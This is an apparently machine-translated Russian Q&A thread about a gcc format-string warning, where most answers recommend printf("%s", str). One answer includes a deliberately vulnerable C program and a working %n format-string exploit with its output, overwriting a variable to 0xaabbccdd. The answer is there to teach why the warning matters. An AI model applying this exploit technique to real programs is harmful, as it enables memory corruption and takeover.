C array - warning: формат не строковый литерал

Я пытаюсь изучить C, и я уже столкнулся с проблемой. Я предполагаю его тривиальным, но мне нужно это знать. Я написал:

#include <stdio.h>
#include <string.h>

int main() 
{
    char str_a[20];

    strcpy(str_a, "Hello, world!\n");
    printf(str_a);
}

Как только я попытаюсь скомпилировать его с помощью: gcc -g -o char_array2 char_array2.c, я получаю сообщение об ошибке:

char_array2.c: In function ‘main’:
char_array2.c:9:2: warning: format not a string literal and no format arguments [-Wformat-security]

Может ли кто-нибудь помочь?

Ответ 1

При использовании printf строка формата лучше будет строковым литералом, а не переменной:

printf("%s", str_a);

Ответ 2

Просто чтобы добавить что-то к другим ответам, вам лучше сделать это, потому что (давно?) люди так давно писали printf, и хакеры нашли способ читать и записывать в стек, более .
Например, простая программа, подобная этой:

[email protected]:~$ cat format_vul.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
    char text[1024];
    static int test_var = -1;

    if(argc < 2) {
        printf("Use: %s <input>\n", argv[0]);
        exit(-1);
    }

    strcpy(text, argv[1]);

    printf("The correct way:\n");
    printf("%s", text);

    printf("\nThe wrong way:\n");
    printf(text);

    printf("\n[*]: test_var @ %8p = %d ( 0x%x )\n", &test_var, test_var, test_var);
}
[email protected]:~$ ./format_vul AAAA
The correct way:
AAAA
The wrong way:
AAAA
[*]: test_var @ 0x804a024 = -1 ( 0xffffffff )

Может использоваться для изменения значения test_var от 0xffffff до другого, например 0xaabbccdd:

[email protected]:~$ ./format_vul $(printf "\x24\xa0\x04\x08JUNK\x2
5\xa0\x04\x08JUNK\x26\xa0\x04\x08JUNK\x27\xa0\x04\x08").%8x.%8x.%8x.%8x.%8x.
%8x.%8x.%8x.%8x.%110x.%n%239x%n%239x%n%239x%n
The correct way:
$�JUNK%�JUNK&�JUNK'�.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%110x.%n%239x%n%239
x%n%239x%n
The wrong way:
$�JUNK%�JUNK&�JUNK'�.bfffefec.  154d7c.  155d7c.  155d7c.      f0.      f0.b
ffff4a4.       4.       4.                                                  
                                                     174.                   


                                                50415243                    


                                               50415243                     


                                              50415243
[*]: test_var @ 0x804a024 = -1430532899 ( 0xaabbccdd )

Ответ 3

Предупреждение вызвано компилятором, требующим, чтобы первый аргумент printf был строковым литералом. Он хочет, чтобы вы это написали:

printf("%s\n", str_a);

Это потому, что первым параметром printf является строка формата. После этого передаются аргументы формата.

Примечание. Фактически вы можете использовать переменную как строку формата, но вы, вероятно, не должны этого делать. Поэтому компилятор выдает предупреждение, а не ошибку.

Ответ 4

Ошибка происходит от printf(str_a);. Ваш код должен быть printf("%s",str_a); ознакомьтесь со следующей ссылкой для получения дополнительной информации о printf. http://www.cprogramming.com/tutorial/printf-format-strings.html

Ответ 5

printf() ожидает, что формат будет строковым литералом, а не динамически созданной строкой. Чтобы исправить ошибку, попробуйте следующее:

printf("%s", str_a); // %s denotes a string

Или используйте puts

puts(str_a);

Ответ 6

Пожалуйста, прочитайте предупреждение "нет аргументов формата" - то есть нет% в строке.

Попробуйте printf("%s", str_a);